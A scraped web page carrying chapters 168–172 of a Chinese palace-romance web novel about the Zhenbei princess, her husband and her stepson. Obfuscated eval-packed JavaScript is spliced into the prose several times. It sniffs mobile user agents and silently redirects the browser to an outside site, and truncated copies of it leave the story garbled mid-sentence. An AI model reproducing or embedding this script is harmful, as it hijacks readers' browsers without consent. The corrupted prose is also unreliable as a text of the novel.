女人终于反应了过来,她夫君这不是装的,而是真的被镇北王妃两拳揍到吐血,生死不明了,惊惧凄厉大喊一声, “夫君!” 而后冲到跟前,跪地伸出两指探鼻息,她的夫君已然气若游丝。 侍郎夫人歇斯底里地哀嚎出声, “快!快去请大夫!” 萧北铭还在王府里等着苏苡安一起吃晚膳。 久不见人,他等得急了,来回踱步。 今日比平常晚回来好久了…… 就在萧北铭跨上飞鸿马,亲自出门寻人的时候,铁柱赶着马车回来了。 苏苡安抱着萧晏下了马车。 萧晏看了一眼父王,立即就撇开了视线,那个兵部侍郎好像被他娘打**,他实在心虚得紧。 萧北铭看萧晏这副模样,就知道,出事了, “进府说。” 苏苡安把萧晏交到了铁柱的怀里,示意他抱孩子躲远点,她要自己面对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422912|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧北铭的怒火。 萧北铭牵起苏苡安的手,来到了膳厅, “饿了吧,边吃边说。” 苏苡安轻描淡写娓娓道来, “今天下午,太子妃表哥的儿子,以比武为名,殴打了你儿子。 刚刚,我找上了门,给那徐侍郎下了战书,签了生死状,捶了他两拳。 他断了三根肋骨,肋骨戳破了内脏,活不到明天早上了。” 苏苡安说完,就从袖子里拿出了生死状,递给他。 萧北铭接了过来,放到了桌子上,又抬手覆上了她的后腰, “闪到腰了没有?” 苏苡安摇头,“真的只有两拳,还不至于弄伤我自己。” 萧北铭轻轻摩挲了几圈她的腰, “你没受伤就好,此事我会处理,你什么都不用做了,吃饭吧。” 他竟然没发火,情绪稳定到让苏苡安不敢置信, “你不生气吗?” 萧北铭摇摇头,温润吐声, “欺负镇北王府的人,都该死,不是吗? 更何况,你把事情办这么明白,我只有欣慰娶到了一个能干的媳妇,何来生气?” 苏苡安轻松一勾唇,笑自己白白准备了一路的说辞,一个都没用上。 看来,自己还是不够了解他。 萧北铭将一块排骨去骨,放到了她的碗里。 苏苡安得寸进尺道, “可不可以叫晏儿过来一起吃饭?他受伤了,自己一个人吃饭,很可怜的。” 萧北铭压着眉眼,一脸严肃, “不行,他血脉不好,就更要严加管束。不能让他太得意,恃宠而骄,免得长大无法无天。” 苏苡安顿时就觉得碗里的排骨不香了。 偏偏,她还无法为晏儿的另一半血脉洗白。 那是萧北铭心中的痛,她不能去触碰。 可是,她又好心疼晏儿,真是糟心啊! 翌日清晨。 萧北铭进宫去找父皇处理此事。 并且,命人去南书房给萧晏告了病假。 萧北铭前脚一走,装睡的苏苡安就从床上起来了,她也有事情要办。 这次,还是得先斩后奏。 要不然,她怕萧北铭不同意。 第168章 战坦 苏苡安带着耿豆拜访辅国将军府。 苏苡安还是第一次见到辅国将军乌壮壮,不过,她一眼就看得出来,这位就是乌二他亲爹,因为,父子两人简直是一个模子刻出来的。 甚至,乌壮壮还比他小山一样的儿子高壮一圈。 苏苡安的脑海自然而然地浮现出了两个字: 战坦! 莫名就腹诽上了: 就乌二这先天条件,还是有必要结婚生子的,要不然,战坦一族的优良基因就要失传了。 只是,苦了小九儿,体型差这么大,生孩子要遭老罪了,甚至会造成胎大难产…… 乌壮壮见到镇北王妃来访,不去找他的夫人和女儿,反而来见他,一脸茫然,直言不讳地问, “镇北王妃此行,所为何事?” 苏苡安从战坦遗传的感叹中抽离回神,眼眸一垂,就开始大吐苦水,说了萧晏昨日被殴打之事。 说到动情处,还氤氲出了眼泪,开始拿手绢拭泪。 乌壮壮听得暴跳如雷,当即就拎起了自己的一双铁锤, “你告诉我,那臭小子是哪个府邸的,我这去把他捶扁了!” 苏苡安赶紧起身挡在了门口,哽咽道, “辅国将军您是什么辈分啊,都能当那孩子的爷爷了,哪里能去跟小孩子动手啊?” 乌壮壮听着这话,就更来气了, “都怪乌二那个混账,让我抱不上孙子,要不然,晏儿现在也有个能打的小伴读了!还能吃这亏? 我就知道魏合敬的孙子靠不住,瘦得跟纸片似的,打个喷嚏都能闪了腰,能指望他什么啊!” 话茬引导到这里,苏苡安终于开启了正题, “辅国将军倒是提醒我了,我应该给晏儿安排一个能打的小伴读在身边。 晏儿倒是有个能打的好朋友,对他可忠心不二了。 只是,那孩子出身不太好,没有做伴读的资格,要是,能有个高门大户收养他就好了。” 乌壮壮眼神一亮, “我就是那个高门大户啊!那孩子在哪呢?” 苏苡安指了指院子里像木头一样站着的耿豆, “就是他。” 乌壮壮眯起眼睛,上下打量着耿豆, “这孩子,敦实啊!面相也是个老实忠厚的,不错,从今天起,他就是我的孙子了!” 苏苡安又蹙起了柳眉,一脸遗憾地说, “他叫耿豆,今年刚刚十四岁,能打又忠心,对晏儿特别好,只是,这孩子,不会说话。” 乌壮壮一脸不以为意,“不会说话有什么要紧?咱是武将门第,也不准备以理服人,拳头够硬就好。从今天起,他就叫乌豆了!” 苏苡安会心一笑,“乌豆,过来,给你爷爷磕头。” 乌豆走过来,跪倒地上,冲着乌壮壮磕了三个响头,一声比一声响,可实诚了。 乌壮壮开心坏了,亲自去把他搀扶起身,十分豪爽地大笑起来, “哈哈,太好了,我有孙子了!明儿,我就去跟皇上说,让我孙子进宫给晏儿做伴读。” 苏苡安微微一笑, “倒也不用这么急,晏儿受伤了,需要卧床,我们请着病假呢,这一个月都不准去读书了。” 乌壮壮点点头, “那行,那我就改日再去跟皇上说。” 苏苡安把乌豆留在了辅国将军府,让他跟着爷爷好好学学功夫,将来,好保护晏儿。 晏儿身边陡然没人陪了,苏苡安怕他不习惯,就把今日要处理的事情都搬进了萧晏的院子,一边处理,一边陪他。 萧晏不肯乖乖在床上躺着,爬上了椅子,跪坐在上,这样,好使自己高一点,以便把下巴靠在娘亲的胳膊上。 萧晏盯着账本,看了一会儿,蓦然开口, “你好有钱啊。” 苏苡安抿唇一笑,“你都能看懂了啊?” 而后,又随手指了几个字考考他。 然而,有一半,萧晏都不认识,他只认识钱数。 苏苡安只是笑笑,并没说他什么,继续刚才的话题,说道, “这些不是我的钱,是王府的账本。 从前,是你二叔叔管的,现在,都交给我了。 你父王啊,经济状况十分堪忧,用粗话说,就是穷的一比。” 萧晏颇为无奈地点点头, “父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422913|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王穷横穷横的,你瞧上他什么了?” 苏苡安不假思索道, “你父王啊,生得一副好皮囊,容貌和身材都无可挑剔。 当然了,以貌取人,是不对的。 只不过,我向来喜欢随心所欲。 这点,你可别学我。 你是天潢贵胄,不管是做人还是做事,都要讲规矩。 要不然,有的是麻烦,我可兜不住的。” 萧晏似懂非懂地点点头, “我知道了……” 他的心里是想不明白的,昨天,那个徐侍郎,说打死就打**,娘亲简直是无所不能,她有什么兜不住的? 苏苡安看着小家伙认真思考的样子,感觉特别可爱,摩挲了他的发顶, “好了,把下巴从我胳膊上挪开,坐直了,仔细驼背,将来长大找不到媳妇。” 萧晏不为所动,“我不找媳妇,我就跟着你。” 苏苡安笑道,“那我也不喜欢弯腰驼背的孩子啊。” 萧晏立马就挺直了腰杆。 苏苡安满意地笑了, “对嘛,男子汉就要身姿笔挺才好,而且,要独立,不能……” 苏苡安想说,不能做个妈宝男,老是黏着娘,可是,想想自己又不是他娘,这样说不妥,就改口道, “不能像你父王似的,妥妥一个黏人精。” “哦……” 一说像他父王,萧晏就嫌弃得不行,觉得,这一定是个天大的缺点,可是…… 他真的好想黏着她啊! 又莫名地理解他父王了。 苏苡安整理了一下他们大婚的礼单,一一安排回礼。 她虽然爱财,但是,还看不上这点小钱,而且,现在镇北王府和太子斗得厉害,收买人心更重要。 铁柱和丁香奉命挨个府邸送回礼。 高升的娘子就住在镇北王府,近水楼台先得月,率先收到了回礼。 当高夫人看到自家夫君送出去的一万两银票又被送回来了,王妃还额外添置了不少东西,足足装了五大箱子,吓得她心脏一紧, “王妃这是,想要让我们搬出去吗? 我脑子笨,请姑娘明示。” 第169章 她真是糊涂! 丁香不解,“高夫人,何出此言啊?” 高夫人看着那些箱子一脸惶恐不安,咬着嘴唇,不知如何开口。 王妃很厚道,给了这么多钱和东西送她出府。 但是,她现在最需要的不是钱,而是一个安身之所,好让她躲过公婆的刁难,安心养胎,生下孩子。 若是搬出去了,这钱,会成为她的催命符…… 但是,这些话,她不好说出口,那样,就是把王妃的重赏当场驴肝肺了,不是人应该说出来的话。 真是左右为难。 铁柱看明白了她的心思,连忙解释, “高夫人,王妃并没有让你们一家搬出王妃的意思。 咱们王妃把所有人送的礼金都如数退还了,还都额外给了回礼。 本来,咱们王妃事先就不准备收礼,但是,又怕大家伙因为不上礼,不好意思上门吃席,故而决定事后返还。” “原来是这样……”高夫人的神情,肉眼可见地放松了下来。 丁香又接过了话茬,笑语盈盈道, “高夫人,你安心养胎,这一箱子里面,是王妃特意吩咐给你送最好的阿胶,对你和胎儿都好,够吃到生呢。” 高夫人抚着自己已经显怀的孕肚,眼泪汪汪地说, “多谢王妃,敢问王妃何时有空,我想去谢恩。” 丁香回道,“咱们王妃挺忙的,谢恩就不必了,您安心养胎就好,等生出小宝宝,就能陪咱们小殿下玩了。” “嗯!” 高夫人抚着自己的孕肚,等着做娘的那一天。 这些日子,已经有好多侍卫家的儿子进府邸了,听说,是王妃在给小殿下选玩伴。 希望自己也能生个儿子,陪小殿下玩是赶不及了,将来,能陪王妃亲生的孩子玩。 最好,能做王妃亲子的侍卫,那才真真叫报恩。 苏苡安说是给萧晏挑玩伴,实际上,是要为他选亲卫,说白了,就是想帮他培养心腹,选的都是八到十岁的男孩。 不仅要求出身是镇北王的亲兵,还对体力和智力都有很高的要求,必须要经过体能测试和智力测验。 体能测验是四百米的障碍跑,她特意画图纸,命人搭建起来的军事化训练场。 地桩网,梅花桩,水平梯,高低台,高低墙一应俱全。 等这些待选的小家伙训练十日,她就会亲自监考选人。 不用多,只要十个人,将来,他们长大了,就是萧晏的左膀右臂。 倘若有朝一日上战场,那他们就是可以为晏儿出谋划策和挡刀剑的人。 至于智力测验,更是仿照从前基地选特工的标准出题,不仅要求智商高,情商也要过关,心理素质过硬。 有勇无谋的那种武夫,不要。 这一日,艳阳高照。 苏苡安的脸现在不怕晒了,她没有戴帷帽,亲自监考那些小家伙的体能考试。 萧晏骑着大老虎,跟在她旁边。 毕竟是给他选亲卫,也要合乎他的眼缘才行。 萧北铭远远地看着这一幕,自然看明白了,她搞这么复杂,绝对不是为了给小东西选玩伴。 他深邃的眼眸逐渐生寒,内心醋意翻涌: 她口口声声不愿意当后娘,做的事情却比亲娘还亲娘。 这么长远的谋算,亲娘未必能想到,她却为了那小东西考虑得面面俱到。 她真是糊涂! 把好苗子都选给那小东西了,以后我们的孩子用什么人? 用他挑剩下的吗? 那合理吗? 那小东西,本来天资就高,再这样精心铺路,将来,我们的嫡子还不得被他比下去了? 好气啊! 萧北铭危险地眯起眼睛,复又缓缓吐出一口郁结之气。 她那种人啊,跟她讲道理根本就没有用,她的歪理一套一套的。 跟她发火也没用,她只会跟你笑嘻嘻地打哈哈,过后依旧我行我素。 不能来硬的,太伤感情了,必须得讲点智谋。 萧北铭转身离开,心里默默地谋划了起来。 得给她找点事情,让她忙起来,要不然,她两眼一睁,就是忙活那小东西。 萧北铭刚刚回到书房不一会儿,苏苡安也来了。 萧北铭撩起眼帘, “这么快就结束了?” 苏苡安有些幽怨,“没呢,小魏严来了,八成是要劝晏儿继续去宫里念书。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422914|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>那小娃娃,年纪不大,却是个小古板,还没他祖父懂得变通呢。 没看出来咱们是特意给晏儿请长假的嘛,好气啊,跟苏怀仁能学到啥有用的啊!” 萧北铭勾勾手,示意她走近些,把人揽坐于怀, “让他去认识几个字,也是好的,都五岁了,还不认得几个字,实在不像话。” 苏苡安真心不乐意了,她实在听不得别人说晏儿的不好,亲爹也不行。在她心里,晏儿就是这世上最完美的小孩。 “晏儿还没过生日呢,才四岁!四岁的娃娃,认不认字能怎样嘛,反正长大了就都认识。” 萧北铭觉得她这话很好笑,到底是谁一直在拔苗助长啊? 你都要把他托举上天了好嘛! 不过,萧北铭不想跟她掰扯这种事情,掰扯不过,还伤感情,便说道, “我有一件很重要的事情,只有你能帮我办。” 苏苡安满面狐疑, “何事?” “我已故恩师的女儿,就是如今的工部尚书夫人,没有来参加咱们的婚宴,这好像有点不合常理,我一个大男人,也不好过问,你去打探一下。” 那工部尚书夫人来不来婚宴,对萧北铭来说,是一件微不足道的小事,可是,现在,却是一件可以分走她精力的大事。 这还是萧北铭第一次求她办事,苏苡安自然认真起来了, “是那工部尚书偏向东宫了,不让他夫人来吗?可是,我看礼单上他家上礼了啊,还不轻呢。” 萧北铭微微摇头,“不至于,工部尚书雷明义本人,明面上是不站队的,而且,那日他自己还到场贺礼了。” “哦,这样啊。”苏苡安若有所思地点点头,“那我明儿就走一趟工部尚书府。” 苏苡安的行动力很强,隔日送了萧晏去南书房,转头就去了工部尚书府。 这个时间,工部尚书雷明义还在早朝上没回府,是府中的管家接待了镇北王妃。 说是他家尚书夫人在病中,不好接见王妃。 “什么病?” “夫人前些日子不小心,摔断了腿。” “本王妃就是专门来探病的,带路吧。” 第170章 家暴男都该死 管家不敢怠慢,恭敬地把镇北王妃往后院领。 雷夫人虚弱地躺在病床上,见到镇北王妃,连忙招呼身边的婆子扶她起来见礼。 “不必多礼,你躺着就好。” 上京城的贵妇,苏苡安见过不少,可是这位工部尚书夫人,她还是第一次见。 此人一脸病弱,皮肤粗糙,看着三十几岁的年纪,但是,两鬓已经斑白了,看起来命很苦的样子。 雷夫人一起一躺这么一折腾,使袖子上移,露出了手臂上的一片伤痕。 她马上就往下扯了扯衣袖,遮住了伤,还用十分紧张的眼神看向王妃,好似生怕她发现了自己这一动作。 而后,又用略带恐惧的眼神,撇了一眼伺候她的婆子。 那婆子,一脸冷漠,都没有瞧她,一看就不是个认真当差的。 苏苡安看得真切: 得,这里肯定有事情,而且,人家还有意遮掩。 她不得不佩服萧北铭的直觉,他可真敏锐,雷夫人没来吃席,他就能感觉出人家出事了,好生厉害啊! 可是,此情此景,这婆子好像是在监视雷夫人。 有这婆子在,她现在肯定啥都打探不出来,反而会惹麻烦,随意寒暄了几句,就走人了。 苏苡安一回去,就跟萧北铭说,她要夜探工部尚书府。 萧北铭有些为难, “啊?不好吧?一个王妃夜探别人府邸,成何体统。” 苏苡安很是自信, “以我的身手,绝对不会被发现的。 我看雷夫人手臂上的伤,是被打出来的。 甚至,我都怀疑她的腿是被打断的。” 萧北铭惊诧, “不会吧?据我所知,雷夫人当年成亲的时候,她的婆母就不在世了,谁敢打她一个正室夫人?” 苏苡安正色道, “我猜就是那工部尚书,不过,这种事不能靠猜,我得亲自去找答案,你第一次让我办事,我一定给你办得明明白白的。” 此刻,萧北铭更为难了, “就算那雷夫人真是被她夫君打的,也是人家的家务事,我不好把手伸那么长。” 苏苡安目光凛冽,冷笑道, “家暴男都该死,我见一个弄一个,顺手的事儿,根本用不着劳您大驾,我保证做得天衣无缝,神不知鬼不觉。” 她竟然想暗杀一个户部尚书?! 萧北铭真是后悔,他干嘛要给她安排这个差事…… 同时,他现在也无比的心虚,毕竟,自己还打过她,一脚就把她踹吐血了,差点踹死她。 她是不是已经深深记仇了…… 萧北铭的一阵沉默震耳欲聋。 苏苡安也大概能猜出来他在想什么,笑道, “没关系,咱们两个打架不叫家暴。 咱们都是练家子,且实力相当,那叫互殴。 互殴的真谛就是输赢各凭本事,我是不会记仇的,咱都不算家暴。” 萧北铭紧绷的心,瞬间就被她安慰好了, “那,我陪你一起去。” 苏苡安笑靥如花, “好!” 两个人穿着夜行衣,趁着夜色,翻墙入了工部侍郎府。 苏苡安带路,两个人轻而易举地躲过了府中的巡夜人。 还未到达雷夫人的院子,就听到了女人凄厉的惨叫声传来, “啊!老爷!我真的没有往外说,我也不知道镇北王妃为何回来。 求你,别打了,看在咱们一双儿女的份上,你就饶了我吧。” 萧北铭一把拉住了脚下加速的苏苡安,眼神一瞥,示意离开。 这都亲耳听见了,一切明了,没必要再探了。 苏苡安咬咬牙,跟着他回撤了。 两个人返回了镇北王府,苏苡安才愤愤不平地说, “烦**,早知道我今日拜访,会给雷夫人带来一顿毒打,我就应该晚上偷摸去。” 萧北铭温柔地拥抱了她,轻拍着她的后背,安慰道, “此事与你无关,是雷明义人品不好。 你想个办法,帮雷夫人和离吧。 雷明义是三品朝廷命官,杀他父皇会下令追查的,没必要找那种麻烦。” 其实,雷明义的死活,萧北铭一点都不在意,他也有许多让他消失得彻彻底底还不被查到的办法。 只是,他觉得,让他们和离更难,更能分散苏苡安的精力。 这才是他最大的目标。 苏苡安当时就不乐意了, “杀了多轻松啊,我保证不留痕迹,谁都不知道是** ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422915|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。想办法和离挺废脑子的,会掉头发的。” 萧北铭听她这么说,更加不肯改主意了,在她的额头落下一个吻,温声细语道, “劳烦辛苦一下,雷明义真的不能杀,要不然,我给你讲个故事,作为交换条件?” 讲故事?还有这好事儿? 苏苡安开心了,“有什么故事,不能去床上讲呢?” “好,那就先沐浴,然后再去床上讲故事。” 萧北铭松开拥住她的怀抱,又牵起了她的双手,带着薄茧的大拇指指腹自然地摩挲了一下她的手背,剑眉一挑, “一起?” 苏苡安注视着他深情的眼眸,美得就像两颗黑曜石,散发着令人着迷的星光。 绝色美男的盛情邀约,实在很令人心动。 浴室,想想也是有点刺激…… 可是,考虑到她现在这副身子骨,虽然天气已经暖和了,但是并不好泡凉水,只能忍痛拒绝, “虽然是个好主意,但是,我有点怕凉。” 萧北铭不暇思索道,“当然是我跟你一起,沐热水了。” 苏苡安眼中燃起了亮光,嘴角勾出意味深长的笑, “那可真真是个好主意。” 可是,结果证明,浴室不是一个很好的地方。 热水怎么凉得那么快啊! 最后,浑身瘫软无力的她,被萧北铭抱到了床上。 苏苡安得出一个结论: 身子骨配不上野心,人就应该消停点。 好在,还可以听故事,也算是补偿了。 苏苡安找了一个舒服的姿势,枕着萧北铭的手臂,软在了他的怀里, “好了,现在可以开始讲故事了。” 她努力打起了最后一丝精神,准备听完故事,就睡觉。 可是,那该死的萧北铭,竟然给她讲了一个东郭先生与狼的故事。 她自然知道他是何意,是暗示她没必要对晏儿那么好,当心好人没好报。 苏苡安虽然很不爱听这个故事,不过,她也不是个扫兴的人,更不愿意在世上最快乐的地方找他的不愉快,就耐着性子把这个故事听完,才喃喃地说了一句: “你的故事讲的挺好的,下次别讲了,明儿,我带你去听一个更好的。” 第171章 水军 翌日清晨。 天一亮,萧北铭就自然而然地睡醒了。 他痴情而又温柔地注视着怀中人儿安详的睡颜,忍不住送去一个蜻蜓点水般的吻在她的额头。 他怕把人吵醒,轻轻地把人剥离让他的臂弯,再蹑手蹑脚地下了床。 她贪睡,他就主动承担起了早晨教小东西练武的重任。 萧北铭也想快点让小东西学会能上阵杀敌的本事,好早日把他送北疆去,教得也认真。 萧晏格外的自律,起得很早,他父王过来的时候,他已经在四百米障碍场地,跑了好几个来回了。 萧北铭教完了萧晏武功,又才回去叫苏苡安起床,对镜给她梳头发。 苏苡安看着镜子里的自己, “诶?今日怎么给我梳两个小揪揪啊?这不是七八岁小娃娃的发型吗?” 萧北铭满眼宠溺地看着她, “好看就好啊,也没明文规定大人不能梳这种发型。” “不要,太幼稚了,这样显得我不怎么聪明的样子,你换一个,就梳飞天髻。” “好,就飞天髻。”萧北铭又熟练地梳好了一个飞天髻。 苏苡安随意从妆奁里挑了两样发饰递给他。 萧北铭接过来,找了个合适的位置,插上,又问道, “怎么不多戴几样?你这样每日两三支,你这么多首饰,何时才能全戴一遍啊。” 苏苡安自然不好告诉他,她又不是宫里走路都要人扶的娘娘,头上戴多少朱钗都没问题。 她活得粗糙,没准什么时候就要动动拳脚,怕弄丢了。 虽然,丢几件金玉首饰对她来说不过九牛一毛,可是,都是她辛辛苦苦打拼来的,不能丢! 苏苡安莞尔一笑, “首饰戴多了,出门别人不都看我的首饰了吗?谁还看我的脸啊。” 萧北铭闻言,毫不犹豫地又抓了一把朱钗,尽数都给她插在了发髻上。 苏苡安看着镜子中珠翠满头的自己,怕是出门丢几支都不知道。 唉! 总算知道晏儿身上那强烈的占有欲像谁了。 晏儿无论是长相还是性格,都和他爹一模一样,有时候,她甚至怀疑,晏儿是他一个人生出来的,和那个北幽恶女,一点关系都没有。 如果真的是那样,就好了,晏儿就不用承担来自亲爹的苦难了。 早饭后,两个人一起把萧晏送到了宫门口。 苏苡安叮嘱萧晏,只跟先生学写字就好,不必听他说话,而后,又带着萧北铭去了文渊书楼。 她第一次带萧晏听故事就来的这里,而今,她早已是这里的老客了。 两个人来到了二楼雅间,去到了苏苡安常年包下的专属座位, 小二热情地端来了糕点和茶水。 萧北铭垂头看看楼下,大堂里乌泱泱地坐了一片人,一个空位都没有了, “上京城里有这么多闲人吗?一大早就出来听书,要我看,应该把他们都送边关去。” 苏苡安笑道, “你可真行,就这么看不惯小老百姓过好日子。 你们驻守边关,不就是为了他们能过上这种无忧无虑的幸福生活吗?” 萧北铭,“你说的,很有道理,可是,想想边关的将士们,为了这群贪图享乐之人流血牺牲,我就感觉很不值得。” 苏苡安笑笑,看人家听书你就难受了,若是看到风月街的奢靡景象,不得当场**啊? “平日里也没这么多人,不是最近书楼讲的故事太好听了,所以人才多起来了嘛~” “啪!” 恰逢此时,一楼说书人手中的醒木往长案上一拍,打断了二人的对话。 大厅里嘈杂的人声立即就安静了下来。 说书人抑扬顿挫地开讲了: “各位老少爷们,欢迎来到文渊书楼,今儿,咱们讲一个‘镇北王妃两拳打死徐侍郎’的故事……” 萧北铭简直不敢相信自己耳朵: 这事儿,父皇都压下来了,谁那么大胆子传到了民间?还大张旗鼓地在书楼讲起来了? 再听那说书人,讲得绘声绘色,就像他在现场一样,尤其是,他把挑战书和生死状的内容都一字不差地说出来了…… 萧北铭转头看向苏苡安,眼神充满了质问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422916|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏苡安勾唇一笑, “对,没错,是我。我把这个故事卖给书楼了,大赚了五两纹银!” 萧北铭被震惊得合不拢嘴, “五两?你为了这么点钱,把自己卖了?你怎么什么钱都赚啊!” 彼时,萧北铭担忧不已,自己暴戾的名声在外就算了,新过门的王妃,这下名声也不好了。 还不一定被这些老百姓传成什么鬼样子…… 苏苡安不疾不徐,娓娓道来, “赚不赚钱,倒是其次,主要,我另有目的。 你不是担心晏儿长大忘恩负义吗? 你看,我现在就给他制造**了,让全天下都知道我这个嫡母为了他**了。 他将来长大,若是不敬嫡母,老百姓的吐沫星子都能淹死他。” 萧北铭的表情一点都不轻松,蹙眉, “你怕是没办法控制这些老百姓的言论,往你想要的方向发展……” 彼时,就听说书人继续道, “那手无缚鸡之力的镇北王妃,护子心切,瞬间爆发慈母之力,一拳就捶破了徐侍郎坚硬的铠甲!” 彼时,人群里就传出了声音, “镇北王妃一颗慈母之心,感天动地,真是可歌可泣啊!” “对,一定是她的爱之心感动了上苍,才赐予了她如此强大的力量……” “虽然不是亲生,但胜似亲生,有如此嫡母,那小殿下,好福气啊。” 有几个人一带头夸,剩下的听众纷纷点头附和,也夸赞起了镇北王妃这份慈母之爱和小殿下的好福气。 苏苡安得意地冲萧北铭挑了一下眉, “一个月只要一两银子,有的是人愿意帮我说我想听的话。 这些老百姓的思想很简单的,人云亦云,我哪里会有负面形象?” 苏苡安用通俗的语言,给他讲述了一下什么叫水军和夸夸群。 萧北铭眯起眼睛看着她,因为,他觉得这场面,似曾相识: 当时,那谣言似乎就是一夜之间起来的一样,时间点,也正好对上她跟他不对付。 “给我造谣有断袖之癖的人,是不是你?” 第172章 扎心 “哈哈!” 苏苡安眉眼弯弯,爽朗一笑, “行不更名坐不改姓,正是在下的手笔。 你以后想要抹黑亦或褒扬谁,尽管告诉我,这活儿,我熟练得很。” 看她这副样子,不仅丝毫没有悔意,反而骄傲得很。 “你呀你!” 萧北铭真真是很恼火,若不是因为这件事,他也不会把那小东西搬到明面上来,时至今日,越来越无法收场。 她真是把他坑苦了! 而且,萧北铭看事通透,她制造如今的**,与其说是为了给小东西个警醒,倒不如说是警醒他。 一旦他做出对那小东西不好的事,她会用老百姓的吐沫星子,淹死他。 众口铄金,积毁销骨,何其可怕啊! 上至天子,下至百姓,都让她利用起来,为小东西做托举了。 她为何要做到这种地步啊! 他又不是没跟她说过自己的顾虑,她是要把我们的嫡子,置于何地啊! 萧北铭觉得扎心得很: 我可是你的夫君啊,你为何要这般对我,为何就不能体谅我的难处,我的委屈和**,在你的心里,就一文不值吗…… 彼时,苏苡安看着他带着愁绪的眉眼,眼尾一扬,满含挑衅的语气,问道, “我怎么了我?” 萧北铭虽然心里挺苦的,但也无意和她拌嘴,她太有自己的主见了,争吵解决不了任何问题,只能压了压眉眼和胸腔中的怒火, “你可真是那小东西的贵人,他长大若是对你不好,真的天理难容,会遭雷劈的。” 苏苡安见他没发火,又敛了锋芒,笑了笑,语重心长道, “我第一次遇见晏儿,就是在这条街。 当时,他灰头土脸的可怜样,好像唤起了我的良知,那也是我生平第一次,想做个好人。 我们第一次听书,就是坐在现在这个位置。 记得那时候,说书先生讲的是镇北王大战北幽大军的故事。 只是,那时候,我并不知道晏儿是你的儿子。 与其说是我帮助了晏儿,倒不如说,是他救赎了我。 因为他的出现,我才开始尝试过和以前截然不同的生活,亦或者说,我想尝试做个正常人。” 这还是她第一次主动跟他提及过往,萧北铭忙问, “那你以前想过怎么样的生活?” 苏苡安意味不明地一笑, “大概是,想给我遇见的每一个美男子,一个家吧。” 萧北铭立即黑脸,剜了她一眼,别过了脸去,不想跟她说话。 过去,他一直希望她跟自己说真话,此刻,他殷切地希望,这只是她的玩笑话。 要不然,他真的心肝疼,不,不管她说的这话是真是假,他现下已经心肝疼了。 他不能接受他们两个好上,是因为自己父凭子贵了。 她不是一向会说好听的话吗?干嘛要跟他说这么伤人的话…… 萧北铭的眼中,有一种难以言喻的压抑和痛苦,他不自觉地移开了的视线,落到了一楼。 彼时,一个熟悉的人影走进了他的视野里。 怎么哪里都有他啊? 偏偏这个时候出现! 萧北铭又烦躁地把目光收了回来。 片刻之后,裴思远就嬉皮笑脸地走进了包间。 二话不说先拿起桌上的茶壶,倒了一杯茶水,仰头给他自己灌了进去,感叹道, “才五月份的天,怎么这么热啊,我记得去年,也没这么热啊。” 苏苡安又挂上了一脸舒缓的笑意, “上京再热,还能有你南疆热了?” 裴思远愁眉苦脸, “南疆是比上京热很多,但是,我可以躲屋里,实在不行,还能泡海里。 如今,我天天得在大街上暴晒,连个歇脚阴凉的地方都没有,命真苦。” 苏苡安,“你没想办法调动一下?” 裴思远直撇嘴, “您可是真敢想,皇上亲自给我安排的差使,除了皇上想起来,谁敢给我调动啊? 再说,万一调到一个整日坐冷板凳的衙门口,还不赶我现在呢。” 苏苡安,“你来得正好,我跟你打听一件事,你整日走街串巷的,有没有听说过有关工部尚书雷明义的夫人和一双儿女的事。” 裴思远笑道, 